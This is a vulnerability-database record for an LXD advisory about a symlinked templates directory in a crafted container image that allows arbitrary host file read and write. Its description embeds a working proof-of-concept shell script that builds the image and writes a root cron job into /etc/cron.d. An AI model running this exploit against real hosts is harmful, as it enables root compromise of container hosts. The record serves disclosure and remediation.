{"id":"GHSA-jpf8-86f3-wp38","kind":"vulnerability","aliases":["GHSA-jpf8-86f3-wp38"],"related":[],"title":"LXD has arbitrary file read+write on host via templates/ symlink in malicious image","description":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479\n\n### Summary\n\nA specially crafted image can be used to read or create/write arbitrary\nfiles on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nFor container images, `internal/server/storage/utils.go` calls\n`archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in\n`shared/archive/archive.go` excludes device nodes, but it does not\nreject a top-level `templates` symlink.\n\nIn practice, this allows a malicious actor to access an arbitrary\ndirectory and edit arbitrary files in it.\n\n\n### PoC\n\nBelow, we map the templates directory to `/etc/cron.d` on the host, but\nit can be mapped anywhere. We then create a cronjob to run `id` as root.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\nln -s /etc/cron.d \"${tmpdir}/img/templates\"\ncat<<__EOF__>\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC templates symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar\nincus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink\nincus init afrw-image-templates-symlink afrw-image-templates-symlink\n\nincus config template ls afrw-image-templates-symlink\n\n# read\n#incus config template show afrw-image-templates-symlink $FILENAME\n\n# write\nprintf \"* * * * * root sh -c 'id>/pwned'\\n\" | incus config template create afrw-image-templates-symlink poc-32\n#incus config template edit afrw-image-templates-symlink poc\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink;\npossibly leading to command execution.","summary":"A crafted container image containing a top-level templates symlink can make LXD read and write files outside its storage directory on the host. An attacker who can import an image can edit files such as cron jobs and may reach command execution as root.","severity":"critical","cvss":9.9,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/canonical/lxd","fixed":["0.0.0-20260203144152-d1c8ba15d160"],"affected":"< 0.0.0-20260203144152-d1c8ba15d160","ecosystem":"go"}],"ecosystems":["go"],"tags":["containers","cwe-73","linux","lxd","package","self-hosted"],"not_affected_if":["trusted-images-only"],"how_to_check":"- Check the LXD version with `lxd --version` or `snap list lxd` and compare it with the fixed version.\n- Review images imported from sources that are not trusted.","fix":"- Move to a go module build of `github.com/canonical/lxd` at or after `0.0.0-20260203144152-d1c8ba15d160`.","status":"open","published_at":"2026-11-06T18:53:57+00:00","first_seen_at":"2026-11-06T18:57:10+00:00","triaged_at":"2026-11-06T18:57:58+00:00","updated_at":"2026-11-06T18:57:58+00:00","category":"package","confidence":0.7,"triage":{"at":"2026-11-06T18:57:58Z","model":"claude-haiku-5-5","output":{"fix":"- Move to a go module build of `github.com/canonical/lxd` at or after `0.0.0-20260203144152-d1c8ba15d160`.","reach":"local","title":"LXD: malicious container image reads and writes arbitrary host files","impact":"high","summary":"A crafted container image containing a top-level templates symlink can make LXD read and write files outside its storage directory on the host. An attacker who can import an image can edit files such as cron jobs and may reach command execution as root.","audience":"businesses","category":"package","nicknames":[],"who_cares":["lxd","linux","self-hosted","containers"],"confidence":0.7,"fix_status":"available","needs_auth":"yes","worst_case":"Attacker writes root cron job and runs commands on host","analyst_note":"Confirm which LXD release versions and distro packages carry the fix, since the source gives only a Go module pseudo-version; check the advisory page for the fixed release tag.","how_to_check":"- Check the LXD version with `lxd --version` or `snap list lxd` and compare it with the fixed version.\n- Review images imported from sources that are not trusted.","plain_action":"","needs_analyst":true,"not_affected_if":["trusted-images-only"],"who_is_affected":"Hosts running LXD that import container images, especially images from outside sources. Hosts that only use trusted, self-built images are less exposed but should still update. The sources do not say whether the flaw is reachable through the default configuration.","user_interaction":"no","needs_special_setup":"unknown","severity_if_unknown":"critical"},"cost_usd":0.000778,"input_tokens":5103,"output_tokens":536,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-32':300C '-73':30B '/afrw-image-templates-symlink.tar':239C,243C '/bin/sh':186C '/canonical/lxd':27A '/etc/cron.d':166C,209C '/img':231C '/img/metadata.yaml':214C '/img/rootfs':206C '/img/templates':211C '/lxc/incus/security/advisories/ghsa-vxp5-584q-c479':87C '/pwned':288C '0':234C,236C '1':220C '64':217C '86f3':18A,23A 'access':148C 'actor':146C 'afrw':227C,246C,253C,258C,267C,277C,295C,306C 'afrw-image-templates-symlink':245C,252C,257C,266C,276C,294C,305C 'alia':244C 'allow':143C 'anywher':175C 'arbitrari':3A,100C,108C,150C,154C,312C 'architectur':215C 'archive.unpack':117C 'attack':63B 'c':238C,286C 'call':116C 'cat':212C 'cd':229C 'cleanup':192C,197C 'command':79B,109C,326C 'config':263C,273C,291C,302C 'contain':28B,39B,41B,113C 'craft':38B,91C 'creat':178C,293C 'create/write':99C 'creation':218C 'cron':74B 'cronjob':180C 'cwe':29B 'd':191C 'date':219C 'descript':222C 'destpath':119C 'detail':111C 'devic':127C 'directori':58B,151C,164C 'edit':70B,153C,304C 'eof':228C 'eu':188C 'exclud':126C 'execut':80B,110C,327C 'exit':198C 'extract':122C 'f':237C 'file':4A,54B,71B,101C,155C,313C 'filenam':281C 'ghsa':16A,21A 'ghsa-jpf8-86f3-wp38':15A,20A 'github.com':26A,86C 'github.com/canonical/lxd':25A 'github.com/lxc/incus/security/advisories/ghsa-vxp5-584q-c479':85C 'group':235C 'host':8A,36B,61B,104C,169C,226C,319C 'hup':202C 'id':183C,287C 'imag':14A,40B,68B,92C,114C,241C,247C,254C,259C,268C,278C,296C,307C 'imagefil':118C 'impact':311C 'import':66B,242C 'incus':240C,250C,262C,272C,290C,301C 'init':251C 'int':199C 'internal/server/storage/utils.go':115C 'job':75B 'jpf8':17A,22A 'lead':106C,324C 'level':45B,137C 'linux':31B 'ln':207C 'ls':265C 'lxd':1A,32B,50B 'make':49B 'malici':13A,145C 'map':161C,174C 'may':77B 'mkdir':203C 'mktemp':190C 'n':289C 'node':128C 'outsid':55B 'owner':233C 'p':204C 'packag':33B 'path':123C 'poc':158C,223C,299C,310C 'possibl':105C,323C 'practic':141C 'printf':283C 'properti':221C 'quit':200C 'reach':78B 'read':5A,51B,97C,271C,314C 'reject':133C 'report':83C 'rf':194C 'rm':193C 'root':82B,185C,284C 'run':182C 'self':35B 'self-host':34B 'set':187C 'sh':285C 'shared/archive/archive.go':125C 'show':275C 'special':90C 'storag':57B 'summari':88C 'symlink':11A,47B,139C,225C,249C,256C,261C,270C,280C,298C,309C,322C 'tar':121C,232C 'templat':10A,46B,138C,163C,224C,248C,255C,260C,264C,269C,274C,279C,292C,297C,303C,308C 'term':201C 'tmpdir':189C,195C,205C,210C,213C,230C 'top':44B,136C 'top-level':43B,135C 'trap':196C 'unsanit':321C 'use':95C 'via':9A,320C 'wp38':19A,24A 'write':6A,53B,282C,316C 'x86':216C","nicknames":[],"mitigations":[],"who_affected":"Hosts running LXD that import container images, especially images from outside sources. Hosts that only use trusted, self-built images are less exposed but should still update. The sources do not say whether the flaw is reachable through the default configuration.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["githubcomcanonicallxd"],"ptokens":["canonical","com","github","lxd"],"labels":["containers","critical","cwe73","go","linux","lxd","package","selfhosted"],"campaign_type":null,"search_a":"'/canonical/lxd':27A '86f3':18A,23A 'arbitrari':3A 'file':4A 'ghsa':16A,21A 'ghsa-jpf8-86f3-wp38':15A,20A 'github.com':26A 'github.com/canonical/lxd':25A 'host':8A 'imag':14A 'jpf8':17A,22A 'lxd':1A 'malici':13A 'read':5A 'symlink':11A 'templat':10A 'via':9A 'wp38':19A,24A 'write':6A","search_b":"'-73':30B 'attack':63B 'command':79B 'contain':28B,39B,41B 'craft':38B 'cron':74B 'cwe':29B 'directori':58B 'edit':70B 'execut':80B 'file':54B,71B 'host':36B,61B 'imag':40B,68B 'import':66B 'job':75B 'level':45B 'linux':31B 'lxd':32B,50B 'make':49B 'may':77B 'outsid':55B 'packag':33B 'reach':78B 'read':51B 'root':82B 'self':35B 'self-host':34B 'storag':57B 'symlink':47B 'templat':46B 'top':44B 'top-level':43B 'write':53B","search_c":"'-32':300C '/afrw-image-templates-symlink.tar':239C,243C '/bin/sh':186C '/etc/cron.d':166C,209C '/img':231C '/img/metadata.yaml':214C '/img/rootfs':206C '/img/templates':211C '/lxc/incus/security/advisories/ghsa-vxp5-584q-c479':87C '/pwned':288C '0':234C,236C '1':220C '64':217C 'access':148C 'actor':146C 'afrw':227C,246C,253C,258C,267C,277C,295C,306C 'afrw-image-templates-symlink':245C,252C,257C,266C,276C,294C,305C 'alia':244C 'allow':143C 'anywher':175C 'arbitrari':100C,108C,150C,154C,312C 'architectur':215C 'archive.unpack':117C 'c':238C,286C 'call':116C 'cat':212C 'cd':229C 'cleanup':192C,197C 'command':109C,326C 'config':263C,273C,291C,302C 'contain':113C 'craft':91C 'creat':178C,293C 'create/write':99C 'creation':218C 'cronjob':180C 'd':191C 'date':219C 'descript':222C 'destpath':119C 'detail':111C 'devic':127C 'directori':151C,164C 'edit':153C,304C 'eof':228C 'eu':188C 'exclud':126C 'execut':110C,327C 'exit':198C 'extract':122C 'f':237C 'file':101C,155C,313C 'filenam':281C 'github.com':86C 'github.com/lxc/incus/security/advisories/ghsa-vxp5-584q-c479':85C 'group':235C 'host':104C,169C,226C,319C 'hup':202C 'id':183C,287C 'imag':92C,114C,241C,247C,254C,259C,268C,278C,296C,307C 'imagefil':118C 'impact':311C 'import':242C 'incus':240C,250C,262C,272C,290C,301C 'init':251C 'int':199C 'internal/server/storage/utils.go':115C 'lead':106C,324C 'level':137C 'ln':207C 'ls':265C 'malici':145C 'map':161C,174C 'mkdir':203C 'mktemp':190C 'n':289C 'node':128C 'owner':233C 'p':204C 'path':123C 'poc':158C,223C,299C,310C 'possibl':105C,323C 'practic':141C 'printf':283C 'properti':221C 'quit':200C 'read':97C,271C,314C 'reject':133C 'report':83C 'rf':194C 'rm':193C 'root':185C,284C 'run':182C 'set':187C 'sh':285C 'shared/archive/archive.go':125C 'show':275C 'special':90C 'summari':88C 'symlink':139C,225C,249C,256C,261C,270C,280C,298C,309C,322C 'tar':121C,232C 'templat':138C,163C,224C,248C,255C,260C,264C,269C,274C,279C,292C,297C,303C,308C 'term':201C 'tmpdir':189C,195C,205C,210C,213C,230C 'top':136C 'top-level':135C 'trap':196C 'unsanit':321C 'use':95C 'via':320C 'write':282C,316C 'x86':216C","first_public_at":"2026-11-06T18:53:57+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-jpf8-86f3-wp38","url":"https://github.com/advisories/GHSA-jpf8-86f3-wp38","severity":"critical","published_at":"2026-11-06T18:53:57+00:00","modified_at":"2026-11-06T18:53:57+00:00","first_seen_at":"2026-11-06T18:57:10+00:00","fetched_at":"2026-11-06T19:02:24+00:00","note":null}],"documents":[{"id":88893,"url":"https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-jpf8-86f3-wp38","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":88894,"url":"https://github.com/canonical/lxd/security/advisories/GHSA-jpf8-86f3-wp38","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":88895,"url":"https://github.com/canonical/lxd/commit/190e2451544a60f6f924ef50a2112fb65d1923cd","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88866,"url":"https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88867,"url":"https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88898,"url":"https://github.com/canonical/lxd/commit/734fcc4d2c8fd0332d42010e34fe856077c2f7f3","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88899,"url":"https://github.com/canonical/lxd/commit/79f3879047b94344e17750551fddc74ed7f14ff7","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88900,"url":"https://github.com/canonical/lxd/commit/8751ea69e24583996a20fb5519dcf2d89470d8e9","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88901,"url":"https://github.com/canonical/lxd/commit/8a3b8d77a0279c3a9da15f4c4aa639ef0631d805","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88902,"url":"https://github.com/canonical/lxd/commit/be6df3b49e79344ec461daadd82d80139697dc1a","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}